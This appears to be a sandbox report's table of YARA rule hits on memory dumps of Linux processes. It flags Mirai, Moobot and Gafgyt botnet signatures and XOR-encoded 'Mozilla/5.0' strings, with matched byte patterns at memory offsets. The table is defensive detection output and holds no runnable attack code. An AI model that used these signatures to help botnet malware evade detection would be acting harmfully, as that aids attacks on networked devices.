6348.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7053.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6336.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6735.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6842.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7403.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7403.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7403.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7403.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7403.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7403.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6472.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6472.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6472.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6472.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6472.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6472.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7223.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7223.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7223.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7223.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7223.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7223.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7400.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7400.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7400.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7400.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7400.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7400.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6688.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6688.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6688.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6688.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6688.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6688.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6628.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6628.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6628.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6461.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6461.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6461.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6461.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7141.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7141.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7141.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
